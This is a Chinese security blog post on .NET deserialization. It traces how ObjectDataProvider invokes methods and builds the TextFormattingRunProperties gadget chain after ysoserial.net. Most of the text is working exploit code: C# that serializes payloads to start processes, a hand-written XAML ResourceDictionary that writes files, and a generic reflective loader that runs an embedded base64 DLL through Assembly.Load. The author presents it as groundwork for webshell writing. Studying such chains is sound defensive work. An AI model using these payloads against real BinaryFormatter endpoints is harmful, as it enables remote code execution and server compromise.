DotNet安全-从ObjectDataProvider说起

admin 2022年11月2日10:23:40评论106 views字数 15808阅读52分41秒阅读模式

DotNet安全-从ObjectDataProvider说起

引言

在《DotNet安全-CVE-2022-23277漏洞复现》这篇文章中,我们想要通过反序列化漏洞直接写入文件的时候遇见了问题,当时觉得ObjectDataProvider除了使用执行命令的方式,无法通过执行代码的方式实现webshell的写入。在看了一些链相关的文章后,发现有许多链最终都依赖于ObjectDataProvider并且可以实现任意代码执行的功能,下面这篇文章我们来一起了解.net反序列化的基石之一的ObjectDataProvider。

如何使用ObjectDataProvider

ObjectDataProvider调用一般有两种形式,一种通过instance调用:

ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectInstance = new System.Diagnostics.Process();

一种是通过Type调用:

ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectType = typeof(System.Diagnostics.Process);

c# 获取type有三种方式:

方法一:
typeof(System.Diagnostics.Process)

方法二:
Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true);

方法三:
new System.Diagnostics.Process().GetType()

ObjectDataProvider底层实现

查看ObjectDataProvider构造函数:

public ObjectDataProvider()
{
    this._constructorParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));
    this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));
    this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged);
}

这里ParameterCollectionChanged是委托

internal delegate void ParameterCollectionChanged(ParameterCollection parameters);

可以理解成函数指针,ParameterCollection的构造函数:

public ParameterCollection(ParameterCollectionChanged parametersChanged)
{
    this._parametersChanged = parametersChanged;
}

在ParameterCollection的OnCollectionChanged函数触发会调用this._parametersChanged,实际上是通过委托的形式调用了ObjectDataProvider中的OnParametersChanged:

private void OnCollectionChanged()
{
    this._parametersChanged(this);
}

ParameterCollection继承了System.Collections.ObjectModel.Collection,并重写了InsertItem等方法,InsertItem为protected方法,无法被直接调用。但InsertItem被父类的Add函数调用:

DotNet安全-从ObjectDataProvider说起

Add为public的方法,那么可以直接调用Add,进入InsertItem

DotNet安全-从ObjectDataProvider说起

进入OnCollectionChanged后通过委托进入ObjectDataProvider中的OnParametersChanged:

DotNet安全-从ObjectDataProvider说起

之后调用Refresh(),进入ObjectDataProvider的BeginQuery:

DotNet安全-从ObjectDataProvider说起

最终进入QueryWorker:

DotNet安全-从ObjectDataProvider说起

此时因为我们的代码先添加了MethodParameters并没有设置type:

ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectType = typeof(System.Diagnostics.Process);

所以进入异常:

DotNet安全-从ObjectDataProvider说起

接下来设置MethodName,直接进入Refresh逻辑:

DotNet安全-从ObjectDataProvider说起

和刚才一样进入异常:

DotNet安全-从ObjectDataProvider说起

接下来设置Type,成功设置type,依旧进入Refresh:

DotNet安全-从ObjectDataProvider说起

通过CreateObjectInstance函数创建实例

DotNet安全-从ObjectDataProvider说起

CreateObjectInstance通过获取的type和反射获取实例:

DotNet安全-从ObjectDataProvider说起

后续通过InvokeMethodOnInstance执行方法:

DotNet安全-从ObjectDataProvider说起

InvokeMethodOnInstance通过反射调用指定方法:

DotNet安全-从ObjectDataProvider说起

通过设置ObjectInstance方法执行代码和上面的大同小异,只不过少了从Type获取Intance的过程。ObjectDataProvider类似java中的cc,是执行任意代码的一种方式。

为什么不能直接反序列化

我们尝试直接使用binaryFormatter对ObjectDataProvider实例进行序列化发现失败

DotNet安全-从ObjectDataProvider说起

显然需要是标记了[Serializable]标签的类才可以被序列化,如:

DotNet安全-从ObjectDataProvider说起

构造完整的利用链

既然我们无法直接对ObjectDataProvider进行序列化,那我们只要寻找到使用ObjectDataProvider实例作为参数并且可以序列化的类就可以了。在ysoserial.net中的 TextFormattingRunProperties给出了完整的利用。大概的利用流程是:

TextFormattingRunProperties -> XamlReader.Parse ->ResourceDictionary -> ObjectDataProvider -> Code Execute

TextFormattingRunProperties来自命名空间Microsoft.VisualStudio.Text.Formatting,看起来像装了VisualStudio才有的功能,但研究员在Microsoft.PowerShell.Editor.dll中也发现了该命名空间,该链作为windows系统下比较常见的一个链。

仿照ysoserial.net实现TextFormattingRunPropertiesMarshal链的例子:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Data;
using System.Windows;
using System.Xml;
using System.Runtime.Serialization.Formatters.Binary;
using System.Collections.Specialized;
using System.Collections.Generic;
using System.Runtime.Serialization;
using Microsoft.VisualStudio.Text.Formatting;
using System.Diagnostics;
using System.Windows.Data;
using System.Reflection;

namespace ObjectDataProviderExample
{
    class Program
    {


        [Serializable]
        public class TextFormattingRunPropertiesMarshal : ISerializable
        {
            protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
            {

            }

            string _xaml;
            public void GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Type typeTFRP = typeof(TextFormattingRunProperties);
                info.SetType(typeTFRP);
                info.AddValue("ForegroundBrush", _xaml);
            }
            public TextFormattingRunPropertiesMarshal(string xaml)
            {
                _xaml = xaml;
            }
        }
        static void Main(string[] args)
        {

            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodParameters.Add("notepad");
            odp.MethodName = "Start";
            odp.ObjectType = typeof(System.Diagnostics.Process);
 
            ResourceDictionary myResourceDictionary = new ResourceDictionary();
            myResourceDictionary.Add("", odp);
 
 
            XmlWriterSettings settings = new XmlWriterSettings();
            settings.Indent = true;
            StringBuilder sb = new StringBuilder();
 
            using (XmlWriter writer = XmlWriter.Create(sb, settings))
            {
                System.Windows.Markup.XamlWriter.Save(odp, writer);
            }
 
            string text = sb.ToString();
            

            TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(text);

            BinaryFormatter binaryFormatter = new BinaryFormatter();
            Stream stream = new FileStream("1.ser", FileMode.Create, FileAccess.Write, FileShare.None);
            binaryFormatter.Serialize(stream, obj1);
            stream.Close();



            BinaryFormatter binaryFormatter1 = new BinaryFormatter();
            FileStream stream2 = new FileStream(@"1.ser", FileMode.Open);
            Object obj = binaryFormatter1.Deserialize(stream2);

        }
    }
}

尝试反序列化时报错,所没有提供MethodParameters,看xaml数据确实如此:

DotNet安全-从ObjectDataProvider说起

仿照ysoserial,通过指定StartInfo这个参数回避了这个问题:

DotNet安全-从ObjectDataProvider说起

xaml变化很大:

DotNet安全-从ObjectDataProvider说起

虽然报错,但反序列化已经执行:

DotNet安全-从ObjectDataProvider说起

我们写文件无法回避这个问题,无法通过直接调用myResourceDictionary.Add("", odp)的方式构造出xaml。

目前的解决办法就是手动进行构造xaml,这里使用zcgonvh师傅的轮子进行修改:

string text= @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x = ""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s = ""clr-namespace:System;assembly=mscorlib"">
   <ObjectDataProvider x:Key = ""x"" ObjectType = ""{x:Type s:IO.File}"" MethodName = ""AppendAllText"">
   <ObjectDataProvider.MethodParameters >
<s:String>1.txt</s:String>
<s:String>aaaaaaaaaaaaaa</s:String>
 </ObjectDataProvider.MethodParameters>
   </ObjectDataProvider>
 </ResourceDictionary>
";

经过测试,可以成功写入文件。

TextFormattingRunProperties链原理

TextFormattingRunProperties的构造函数中调用GetObjectFromSerializationInfo:

DotNet安全-从ObjectDataProvider说起

该函数调用 XamlReader.Parse解析xaml,后续解析ResourceDictionary再调用ObjectDataProvider

DotNet安全-从ObjectDataProvider说起

寻找一种通用的执行方式

实现动态代码执行的功能c#中一般有两种方式,一种为jscript中的eval,如经典的菜刀webshell实现。另一种就是哥斯拉冰蝎等工具使用的反射加载技术。在ResourceDictionary我们同样可以使用反射加载技术。

首先生成一个dll:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;

namespace ClassLibrary1
{
    public class Class1
    {
        public  Class1() {
            File.WriteAllText(@"c:programdata1.txt", "aaaaaaaaaa");
        }


    }
}

编译后生成对应的base64字符串:

import base64

with open("ClassLibrary1.dll","rb") as f:
    t=f.read()
    print(base64.b64encode(t))

需要命名空间.类名的形式进行调用,这里是ClassLibrary1.Class1:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Data;
using System.Windows;
using System.Xml;
using System.Runtime.Serialization.Formatters.Binary;
using System.Collections.Specialized;
using System.Collections.Generic;
using System.Runtime.Serialization;
using Microsoft.VisualStudio.Text.Formatting;
using System.Diagnostics;
using System.Windows.Data;
using System.Reflection;

namespace ObjectDataProviderExample
{
    class Program
    {


        [Serializable]
        public class TextFormattingRunPropertiesMarshal : ISerializable
        {
            protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
            {

            }

            string _xaml;
            public void GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Type typeTFRP = typeof(TextFormattingRunProperties);
                info.SetType(typeTFRP);
                info.AddValue("ForegroundBrush", _xaml);
            }
            public TextFormattingRunPropertiesMarshal(string xaml)
            {
                _xaml = xaml;
            }
        }
        static void Main(string[] args)
        {
            string dllloader = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:xaml=""http://schemas.microsoft.com/winfx/2006/xaml"" 
xmlns:system=""clr-namespace:System;assembly=mscorlib"" 
xmlns:reflection=""clr-namespace:System.Reflection;assembly=mscorlib"">
    <system:Object xaml:Key=""array"" xaml:FactoryMethod=""system:Convert.FromBase64String"" xaml:Arguments=""!!base64!!""></system:Object>
    <reflection:Assembly xaml:Key=""assembly"" xaml:FactoryMethod=""reflection:Assembly.Load"" xaml:Arguments=""{StaticResource array}""></reflection:Assembly>
    <ObjectDataProvider xaml:Key=""instance"" ObjectInstance=""{StaticResource assembly}"" MethodName=""CreateInstance"">
        <ObjectDataProvider.MethodParameters>
            <system:String>!!classname!!</system:String>
            <system:Boolean>False</system:Boolean>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>".Replace("!!base64!!", "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEmE27oAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAQicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAO4mAABPAAAAAEAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABIJgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAASAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAiJwAAAAAAAEgAAAACAAUAaCAAAOAFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFoCKA8AAApyAQAAcHIrAABwKBAAAAoqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAALQBAAAjfgAAIAIAAFwCAAAjU3RyaW5ncwAAAAB8BAAARAAAACNVUwDABAAAEAAAACNHVUlEAAAA0AQAABABAAAjQmxvYgAAAAAAAAACAAABRxQAAAkAAAAA+gEzABYAAAEAAAARAAAAAgAAAAEAAAAQAAAADgAAAAEAAAABAAAAAAC2AQEAAAAAAAYAEQEZAgYAfgEZAgYARQDnAQ8AOQIAAAYAbQDPAQYA9ADPAQYA1QDPAQYAZQHPAQYAMQHPAQYASgHPAQYAhADPAQYAWQD6AQYANwD6AQYAuADPAQYAnwCcAQYASALIAQYAMgAfAAAAAAAWAAAAAAABAAEAAQAQAAEACABBAAEAAQBQIAAAAACGGOEBBgABAAkA4QEBABEA4QEGABkA4QEKACkA4QEQADEA4QEQADkA4QEQAEEA4QEQAEkA4QEQAFEA4QEQAFkA4QEQAGEA4QEVAGkA4QEQAHEA4QEQAHkA4QEQAIEA4QEGAIkATwIaAC4ACwApAC4AEwAyAC4AGwBRAC4AIwBaAC4AKwBtAC4AMwBtAC4AOwBtAC4AQwBaAC4ASwBzAC4AUwBtAC4AWwBtAC4AYwCLAC4AawC1AC4AcwDCAASAAAABAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAgACkAAAAAAAAAAAAAQ2xhc3MxAENsYXNzTGlicmFyeTEAPE1vZHVsZT4AU3lzdGVtLklPAG1zY29ybGliAEZpbGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBDbGFzc0xpYnJhcnkxLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAE9iamVjdABXcml0ZUFsbFRleHQAACljADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAxAC4A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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==").Replace("!!classname!!", "ClassLibrary1.Class1");
            TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(dllloader);

            
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            Stream stream = new FileStream("1.ser", FileMode.Create, FileAccess.Write, FileShare.None);
            binaryFormatter.Serialize(stream, obj1);
            stream.Close();
            

            /*
            BinaryFormatter binaryFormatter1 = new BinaryFormatter();
            FileStream stream2 = new FileStream(@"1.ser", FileMode.Open);
            Object obj = binaryFormatter1.Deserialize(stream2);
            */

        }
    }
}

成功触发:

DotNet安全-从ObjectDataProvider说起

参考文章

https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

https://www.cnblogs.com/Ivan1ee/p/16265873.html

总结

本文介绍了.net反序列化中比较简单的一条链TextFormattingRunProperties及c#中的cc链-ObjectDataProvider,同时推翻了之前的一些错误理解。

网络安全的学习,道阻且长,行则将至。与诸君共勉。


原文始发于微信公众号(7bits安全团队):DotNet安全-从ObjectDataProvider说起

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月2日10:23:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DotNet安全-从ObjectDataProvider说起http://cn-sec.com/archives/1382442.html

发表评论

匿名网友 填写信息